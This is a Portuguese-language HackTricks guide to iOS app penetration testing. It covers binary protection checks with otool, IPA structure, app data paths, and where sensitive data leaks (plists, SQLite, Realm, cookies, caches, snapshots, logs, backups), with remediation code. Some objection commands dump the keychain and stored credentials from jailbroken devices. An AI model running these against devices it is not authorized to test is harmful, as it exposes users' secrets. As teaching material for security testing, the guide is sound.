iOS Pentesting

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
Adquira produtos oficiais PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.

Conceitos Básicos do iOS

pageiOS Basics

Ambiente de Testes

Nesta página, você pode encontrar informações sobre o simulador iOS, emuladores e jailbreaking:

pageiOS Testing Environment

Análise Inicial

Operações Básicas de Teste do iOS

Durante o teste, várias operações serão sugeridas (conectar ao dispositivo, ler/escrever/fazer upload/download de arquivos, usar algumas ferramentas...). Portanto, se você não souber como realizar alguma dessas ações, por favor, comece lendo a página:

pageiOS Basic Testing Operations

Para os próximos passos, o aplicativo deve estar instalado no dispositivo e você deve ter obtido o arquivo IPA do aplicativo. Leia a página Operações Básicas de Teste do iOS para aprender como fazer isso.

Análise Estática Básica

É recomendado usar a ferramenta MobSF para realizar uma Análise Estática automática no arquivo IPA.

Identificação das proteções presentes no binário:

PIE (Position Independent Executable): Quando ativado, o aplicativo carrega em um endereço de memória aleatório toda vez que é iniciado, tornando mais difícil prever seu endereço de memória inicial.

otool -hv <app-binary> | grep PIE   # Deve incluir a flag PIE

Canários de Pilha: Para validar a integridade da pilha, um valor 'canário' é colocado na pilha antes de chamar uma função e é validado novamente quando a função termina.

otool -I -v <app-binary> | grep stack_chk   # Deve incluir os símbolos: stack_chk_guard e stack_chk_fail

ARC (Contagem Automática de Referências): Para prevenir falhas comuns de corrupção de memória

otool -I -v <app-binary> | grep objc_release   # Deve incluir o símbolo _objc_release

Binário Criptografado: O binário deve estar criptografado

otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # O cryptid deve ser 1

Identificação de Funções Sensíveis/Inseguras

Algoritmos de Hashing Fracos

# No dispositivo iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# No linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"

Funções Randômicas Inseguras

# No dispositivo iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# No linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"

Função 'Malloc' Insegura

# No dispositivo iOS
otool -Iv <app> | grep -w "_malloc"

# No linux
grep -iER "_malloc"

Funções Inseguras e Vulneráveis

# No dispositivo iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# No linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Análise Dinâmica Básica

Confira a análise dinâmica que o MobSF realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele irá conectar várias classes e fazer outras coisas, e preparará um relatório quando você terminar.

Listando Apps Instalados

Use o comando frida-ps -Uai para determinar o identificador de pacote dos aplicativos instalados:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Enumeração Básica & Hooking

Aprenda como enumerar os componentes do aplicativo e como facilmente hookar métodos e classes com o objection:

pageiOS Hooking With Objection

Estrutura do IPA

A estrutura de um arquivo IPA é essencialmente a de um pacote compactado. Renomeando sua extensão para .zip, ele pode ser descompactado para revelar seu conteúdo. Dentro desta estrutura, um Bundle representa um aplicativo totalmente empacotado pronto para instalação. Dentro, você encontrará um diretório chamado <NOME>.app, que encapsula os recursos do aplicativo.

Info.plist: Este arquivo contém detalhes específicos de configuração do aplicativo.
_CodeSignature/: Este diretório inclui um arquivo plist que contém uma assinatura, garantindo a integridade de todos os arquivos no pacote.
Assets.car: Um arquivo de arquivo comprimido que armazena arquivos de recursos como ícones.
Frameworks/: Esta pasta abriga as bibliotecas nativas do aplicativo, que podem estar na forma de arquivos .dylib ou .framework.
PlugIns/: Isso pode incluir extensões para o aplicativo, conhecidas como arquivos .appex, embora nem sempre estejam presentes.
Core Data: É usado para salvar os dados permanentes do seu aplicativo para uso offline, para armazenar dados temporários e adicionar funcionalidade de desfazer ao seu aplicativo em um único dispositivo. Para sincronizar dados em vários dispositivos em uma única conta iCloud, o Core Data espelha automaticamente seu esquema para um contêiner CloudKit.
PkgInfo: O arquivo PkgInfo é uma maneira alternativa de especificar os códigos de tipo e criador de seu aplicativo ou pacote.
en.lproj, fr.proj, Base.lproj: São os pacotes de idiomas que contêm recursos para esses idiomas específicos e um recurso padrão no caso de um idioma não ser suportado.
Segurança: O diretório _CodeSignature/ desempenha um papel crítico na segurança do aplicativo, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais.
Gerenciamento de Ativos: O arquivo Assets.car usa compressão para gerenciar eficientemente ativos gráficos, crucial para otimizar o desempenho do aplicativo e reduzir seu tamanho geral.
Frameworks e PlugIns: Esses diretórios destacam a modularidade dos aplicativos iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizável (Frameworks/) e estendam a funcionalidade do aplicativo (PlugIns/).
Localização: A estrutura suporta vários idiomas, facilitando o alcance global do aplicativo ao incluir recursos para pacotes de idiomas específicos.

Info.plist

O Info.plist serve como uma pedra angular para aplicativos iOS, encapsulando dados de configuração chave na forma de pares de chave-valor. Este arquivo é um requisito não apenas para aplicativos, mas também para extensões de aplicativos e frameworks empacotados dentro. Ele é estruturado em XML ou em um formato binário e contém informações críticas que vão desde permissões de aplicativos até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a Documentação do Desenvolvedor da Apple.

Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser feita facilmente através do uso do plutil no macOS (disponível nativamente nas versões 10.2 e posteriores) ou plistutil no Linux. Os comandos para conversão são os seguintes:

Para macOS:

$ plutil -convert xml1 Info.plist

Para Linux:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Entre a miríade de informações que o arquivo Info.plist pode divulgar, entradas notáveis incluem strings de permissão do aplicativo (UsageDescription), esquemas de URL personalizados (CFBundleURLTypes), e configurações para a Segurança de Transporte do Aplicativo (NSAppTransportSecurity). Essas entradas, juntamente com outras como tipos de documentos personalizados exportados/importados (UTExportedTypeDeclarations / UTImportedTypeDeclarations), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando grep:

$ grep -i <keyword> Info.plist

Caminhos de Dados

No ambiente iOS, diretórios são designados especificamente para aplicações do sistema e aplicações instaladas pelo usuário. As aplicações do sistema residem no diretório /Applications, enquanto as aplicações instaladas pelo usuário são colocadas em /var/mobile/containers/Data/Application/. Essas aplicações recebem um identificador único conhecido como UUID de 128 bits, tornando a tarefa de localizar manualmente a pasta de um aplicativo desafiadora devido à aleatoriedade dos nomes dos diretórios.

Como as aplicações no iOS devem ser isoladas, cada aplicativo terá também uma pasta dentro de $HOME/Library/Containers com o CFBundleIdentifier do aplicativo como nome da pasta.

No entanto, ambas as pastas (de dados e de contêiner) possuem o arquivo .com.apple.mobile_container_manager.metadata.plist que vincula ambos os arquivos na chave MCMetadataIdentifier).

Para facilitar a descoberta do diretório de instalação de um aplicativo instalado pelo usuário, a ferramenta objection fornece um comando útil, env. Este comando revela informações detalhadas do diretório para o aplicativo em questão. Abaixo está um exemplo de como usar este comando:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Alternativamente, o nome do aplicativo pode ser pesquisado dentro de /private/var/containers usando o comando find:

find /private/var/containers -name "Progname*"

Comandos como ps e lsof também podem ser utilizados para identificar o processo do aplicativo e listar arquivos abertos, respectivamente, fornecendo insights sobre os caminhos do diretório ativo do aplicativo:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Diretório do pacote:

AppName.app
Este é o Pacote de Aplicativos, como visto anteriormente no IPA, ele contém dados essenciais do aplicativo, conteúdo estático, bem como o binário compilado do aplicativo.
Este diretório é visível para os usuários, mas os usuários não podem escrever nele.
O conteúdo deste diretório não é backupado.
O conteúdo desta pasta é usado para validar a assinatura do código.

Diretório de dados:

Documents/
Contém todos os dados gerados pelo usuário. O usuário final do aplicativo inicia a criação desses dados.
Visível para os usuários e os usuários podem escrever nele.
O conteúdo deste diretório é backupado.
O aplicativo pode desabilitar caminhos definindo NSURLIsExcludedFromBackupKey.
Library/
Contém todos os arquivos que não são específicos do usuário, como caches, preferências, cookies e arquivos de configuração de lista de propriedades (plist).
Os aplicativos iOS geralmente usam os subdiretórios Application Support e Caches, mas o aplicativo pode criar subdiretórios personalizados.
Library/Caches/
Contém arquivos em cache semi-persistentes.
Invisível para os usuários e os usuários não podem escrever nele.
O conteúdo deste diretório não é backupado.
O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o aplicativo não está em execução e o espaço de armazenamento está baixo.
Library/Application Support/
Contém arquivos persistentes necessários para executar o aplicativo.
Invisível para os usuários e os usuários não podem escrever nele.
O conteúdo deste diretório é backupado.
O aplicativo pode desabilitar caminhos definindo NSURLIsExcludedFromBackupKey.
Library/Preferences/
Usado para armazenar propriedades que podem persistir mesmo depois que um aplicativo é reiniciado.
As informações são salvas, não criptografadas, dentro do sandbox do aplicativo em um arquivo plist chamado [BUNDLE_ID].plist.
Todos os pares chave/valor armazenados usando NSUserDefaults podem ser encontrados neste arquivo.
tmp/
Use este diretório para escrever arquivos temporários que não precisam persistir entre os lançamentos do aplicativo.
Contém arquivos em cache não persistentes.
Invisível para os usuários.
O conteúdo deste diretório não é backupado.
O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o aplicativo não está em execução e o espaço de armazenamento está baixo.

Vamos dar uma olhada mais de perto no diretório do Pacote de Aplicativos (.app) do iGoat-Swift dentro do diretório do Pacote (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Reversão Binária

Dentro da pasta <nome-do-aplicativo>.app você encontrará um arquivo binário chamado <nome-do-aplicativo>. Este é o arquivo que será executado. Você pode realizar uma inspeção básica do binário com a ferramenta otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Verifique se o aplicativo está criptografado

Veja se há alguma saída para:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Desmontando o binário

Desmonte a seção de texto:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Para imprimir o segmento Objective-C do aplicativo de exemplo, pode-se usar:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Para obter um código Objective-C mais compacto, você pode usar class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

No entanto, as melhores opções para desmontar o binário são: Hopper e IDA.

Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Armazenamento de Dados

Para aprender como o iOS armazena dados no dispositivo, leia esta página:

pageiOS Basics

Os seguintes locais para armazenar informações devem ser verificados logo após a instalação do aplicativo, após verificar todas as funcionalidades do aplicativo e mesmo após sair de um usuário e entrar em outro. O objetivo é encontrar informações sensíveis desprotegidas do aplicativo (senhas, tokens), do usuário atual e de usuários anteriormente logados.

Plist

Os arquivos plist são arquivos XML estruturados que contêm pares chave-valor. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar informações sensíveis nesses arquivos. É recomendado verificar esses arquivos após instalar o aplicativo e após usá-lo intensivamente para ver se novos dados são gravados.

A forma mais comum de persistir dados em arquivos plist é através do uso do NSUserDefaults. Este arquivo plist é salvo dentro do sandbox do aplicativo em Library/Preferences/<appBundleID>.plist

A classe NSUserDefaults fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com as preferências do usuário. Os dados salvos pelo NSUserDefaults podem ser visualizados no pacote do aplicativo. Esta classe armazena dados em um arquivo plist, mas é destinada a ser usada com pequenas quantidades de dados.

Esses dados não podem ser acessados diretamente por um computador confiável, mas podem ser acessados fazendo um backup.

Você pode extrair as informações salvas usando NSUserDefaults usando o ios nsuserdefaults get do objection.

Para encontrar todos os plists usados pelo aplicativo, você pode acessar /private/var/mobile/Containers/Data/Application/{APPID} e executar:

find ./ -name "*.plist"

Para converter arquivos do formato XML ou binário (bplist) para XML, estão disponíveis vários métodos, dependendo do seu sistema operacional:

Para usuários do macOS: Utilize o comando plutil. É uma ferramenta integrada no macOS (10.2+), projetada para esse fim:

$ plutil -convert xml1 Info.plist

Para Usuários Linux: Instale primeiro libplist-utils e, em seguida, use plistutil para converter seu arquivo:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Dentro de uma Sessão do Objection: Para analisar aplicativos móveis, um comando específico permite que você converta arquivos plist diretamente:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data é um framework para gerenciar a camada de modelo de objetos em sua aplicação. Core Data pode usar o SQLite como seu armazenamento persistente, mas o próprio framework não é um banco de dados. CoreData não criptografa seus dados por padrão. No entanto, uma camada de criptografia adicional pode ser adicionada ao CoreData. Consulte o Repositório do GitHub para mais detalhes.

Você pode encontrar as informações do SQLite Core Data de um aplicativo no caminho /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Se você conseguir abrir o SQLite e acessar informações sensíveis, então encontrou uma má configuração.

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase é um armazenamento de chave/valor construído em cima do SQLite. Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-los usando o comando proposto na seção anterior.

Outros Bancos de Dados SQLite

É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar armazenando dados sensíveis neles e deixando-os não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório do aplicativo. Portanto, vá para o diretório do aplicativo onde os dados são salvos (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Bancos de Dados em Tempo Real do Firebase

Os desenvolvedores podem armazenar e sincronizar dados em um banco de dados hospedado na nuvem NoSQL por meio dos Bancos de Dados em Tempo Real do Firebase. Armazenados em formato JSON, os dados são sincronizados em tempo real para todos os clientes conectados.

Você pode descobrir como verificar bancos de dados do Firebase mal configurados aqui:

pageFirebase Database

Bancos de Dados Realm

Realm Objective-C e Realm Swift oferecem uma alternativa poderosa para armazenamento de dados, não fornecida pela Apple. Por padrão, eles armazenam dados não criptografados, com criptografia disponível por meio de configuração específica.

Os bancos de dados estão localizados em: /private/var/mobile/Containers/Data/Application/{APPID}. Para explorar esses arquivos, pode-se utilizar comandos como:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Para visualizar esses arquivos de banco de dados, é recomendada a utilização da ferramenta Realm Studio.

Para implementar a criptografia dentro de um banco de dados Realm, o seguinte trecho de código pode ser utilizado:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Bancos de Dados do Couchbase Lite

O Couchbase Lite é descrito como um mecanismo de banco de dados leve e embutido que segue a abordagem orientada a documentos (NoSQL). Projetado para ser nativo do iOS e macOS, oferece a capacidade de sincronizar dados de forma transparente.

Para identificar possíveis bancos de dados do Couchbase em um dispositivo, o seguinte diretório deve ser inspecionado:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

O iOS armazena os cookies dos aplicativos na pasta Library/Cookies/cookies.binarycookies dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no keychain já que o arquivo de cookies mencionado pode ser acessado em backups.

Para inspecionar o arquivo de cookies, você pode usar este script em python ou usar o comando ios cookies get do objection. Você também pode usar o objection para converter esses arquivos para um formato JSON e inspecionar os dados.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Cache

Por padrão, o NSURLSession armazena dados, como solicitações e respostas HTTP no banco de dados Cache.db. Este banco de dados pode conter dados sensíveis, como tokens, nomes de usuário ou qualquer outra informação sensível que tenha sido armazenada em cache. Para encontrar as informações em cache, abra o diretório de dados do aplicativo (/var/mobile/Containers/Data/Application/<UUID>) e vá para /Library/Caches/<Bundle Identifier>. O cache do WebKit também é armazenado no arquivo Cache.db. O Objection pode abrir e interagir com o banco de dados com o comando sqlite connect Cache.db, pois é um banco de dados SQLite normal.

É recomendado desativar o cache desses dados, pois pode conter informações sensíveis na solicitação ou resposta. A lista abaixo mostra diferentes maneiras de alcançar isso:

É recomendado remover as respostas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado removeAllCachedResponses. Você pode chamar este método da seguinte forma:

URLCache.shared.removeAllCachedResponses()

Este método removerá todas as solicitações e respostas em cache do arquivo Cache.db. 2. Se você não precisa usar os cookies, seria recomendado usar apenas a propriedade de configuração .ephemeral do URLSession, que desativará o salvamento de cookies e caches.

Documentação da Apple:

Um objeto de configuração de sessão efêmera é semelhante a uma configuração de sessão padrão (consulte padrão), exceto que o objeto de sessão correspondente não armazena caches, armazenamentos de credenciais ou quaisquer dados relacionados à sessão no disco. Em vez disso, os dados relacionados à sessão são armazenados na RAM. A única vez que uma sessão efêmera grava dados no disco é quando você diz a ela para gravar o conteúdo de uma URL em um arquivo. 3. O cache também pode ser desativado definindo a Política de Cache para .notAllowed. Isso desativará o armazenamento de cache de qualquer maneira, seja na memória ou no disco.

Snapshots

Sempre que você pressiona o botão home, o iOS tira um instantâneo da tela atual para poder fazer a transição para o aplicativo de uma maneira mais suave. No entanto, se dados sensíveis estiverem presentes na tela atual, eles serão salvos na imagem (que persiste através de reinicializações). Estes são os instantâneos aos quais você também pode acessar ao tocar duas vezes na tela inicial para alternar entre aplicativos.

A menos que o iPhone esteja com jailbreak, o atacante precisa ter acesso ao dispositivo desbloqueado para ver essas capturas de tela. Por padrão, o último instantâneo é armazenado no sandbox do aplicativo em Library/Caches/Snapshots/ ou na pasta Library/SplashBoard/Snapshots (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0).

Uma maneira de evitar esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar o instantâneo usando a função ApplicationDidEnterBackground().

A seguir, um método de remediação de exemplo que definirá um instantâneo padrão.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Este define a imagem de fundo como overlayImage.png sempre que a aplicação é colocada em segundo plano. Isso previne vazamentos de dados sensíveis porque overlayImage.png sempre substituirá a visualização atual.

Chaveiro

Para acessar e gerenciar o chaveiro do iOS, ferramentas como Keychain-Dumper estão disponíveis, adequadas para dispositivos com jailbreak. Além disso, o Objection fornece o comando ios keychain dump para fins semelhantes.

Armazenamento de Credenciais

A classe NSURLCredential é ideal para salvar informações sensíveis diretamente no chaveiro, contornando a necessidade de NSUserDefaults ou outros invólucros. Para armazenar credenciais após o login, o seguinte código Swift é usado:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Para extrair essas credenciais armazenadas, é utilizado o comando ios nsurlcredentialstorage dump do Objection.

Teclados Personalizados e Cache de Teclado

A partir do iOS 8.0, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em Configurações > Geral > Teclado > Teclados. Embora esses teclados ofereçam funcionalidades estendidas, eles representam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que exigem acesso à rede. Os aplicativos podem e devem restringir o uso de teclados personalizados para a entrada de informações sensíveis.

Recomendações de Segurança:

É aconselhável desativar os teclados de terceiros para segurança aprimorada.
Esteja ciente das funcionalidades de autocorreção e de sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em Library/Keyboard/{locale}-dynamic-text.dat ou /private/var/mobile/Library/Keyboard/dynamic-text.dat. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado via Configurações > Geral > Redefinir > Redefinir Dicionário do Teclado para limpar os dados em cache.
A interceptação do tráfego de rede pode revelar se um teclado personalizado está transmitindo pressionamentos de teclas remotamente.

Prevenção de Cache de Campo de Texto

O protocolo UITextInputTraits oferece propriedades para gerenciar autocorreção e entrada de texto segura, essenciais para prevenir o cache de informações sensíveis. Por exemplo, desativar a autocorreção e habilitar a entrada de texto segura pode ser alcançado com:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Além disso, os desenvolvedores devem garantir que os campos de texto, especialmente aqueles para inserir informações sensíveis como senhas e PINs, desativem o cache definindo autocorrectionType como UITextAutocorrectionTypeNo e secureTextEntry como YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Registos

Depurar código envolve frequentemente o uso de registos. Existe um risco, uma vez que os registos podem conter informações sensíveis. Anteriormente, no iOS 6 e em versões anteriores, os registos eram acessíveis a todas as aplicações, representando um risco de fuga de dados sensíveis. Agora, as aplicações estão restritas a aceder apenas aos seus próprios registos.

Apesar destas restrições, um atacante com acesso físico a um dispositivo desbloqueado ainda pode explorar isso ao ligar o dispositivo a um computador e ler os registos. É importante notar que os registos permanecem no disco mesmo após a desinstalação da aplicação.

Para mitigar os riscos, é aconselhável interagir minuciosamente com a aplicação, explorando todas as suas funcionalidades e entradas para garantir que nenhuma informação sensível esteja a ser registada inadvertidamente.

Ao rever o código-fonte da aplicação em busca de possíveis fugas, procure tanto por declarações de registo predefinidas quanto por declarações de registo personalizadas usando palavras-chave como NSLog, NSAssert, NSCAssert, fprintf para funções integradas, e quaisquer menções a Logging ou Logfile para implementações personalizadas.

Monitorização de Registos do Sistema

As aplicações registam várias informações que podem ser sensíveis. Para monitorizar estes registos, ferramentas e comandos como:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

São úteis. Além disso, Xcode fornece uma maneira de coletar logs do console:

Abra o Xcode.
Conecte o dispositivo iOS.
Navegue até Window -> Devices and Simulators.
Selecione seu dispositivo.
Acione o problema que está investigando.
Use o botão Open Console para visualizar os logs em uma nova janela.

Para um registro mais avançado, conectar-se ao shell do dispositivo e usar socat pode fornecer monitoramento de log em tempo real:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Seguido por comandos para observar atividades de log, que podem ser inestimáveis para diagnosticar problemas ou identificar possíveis vazamentos de dados nos logs.

Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Backups

As funcionalidades de auto-backup estão integradas ao iOS, facilitando a criação de cópias de dados do dispositivo através do iTunes (até o macOS Catalina), Finder (a partir do macOS Catalina) ou iCloud. Esses backups abrangem quase todos os dados do dispositivo, excluindo elementos altamente sensíveis como detalhes do Apple Pay e configurações do Touch ID.

Riscos de Segurança

A inclusão de aplicativos instalados e seus dados nos backups levanta a questão de possíveis vazamentos de dados e o risco de que modificações nos backups possam alterar a funcionalidade do aplicativo. É aconselhável não armazenar informações sensíveis em texto simples dentro do diretório de qualquer aplicativo ou seus subdiretórios para mitigar esses riscos.

Excluindo Arquivos dos Backups

Arquivos em Documents/ e Library/Application Support/ são incluídos nos backups por padrão. Os desenvolvedores podem excluir arquivos ou diretórios específicos dos backups usando NSURL setResourceValue:forKey:error: com a chave NSURLIsExcludedFromBackupKey. Essa prática é crucial para proteger dados sensíveis de serem incluídos nos backups.

Testando Vulnerabilidades

Para avaliar a segurança do backup de um aplicativo, comece por criar um backup usando o Finder e, em seguida, localize-o seguindo as orientações da documentação oficial da Apple. Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo.

Informações sensíveis podem ser procuradas usando ferramentas de linha de comando ou aplicativos como iMazing. Para backups criptografados, a presença de criptografia pode ser confirmada verificando a chave "IsEncrypted" no arquivo "Manifest.plist" na raiz do backup.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

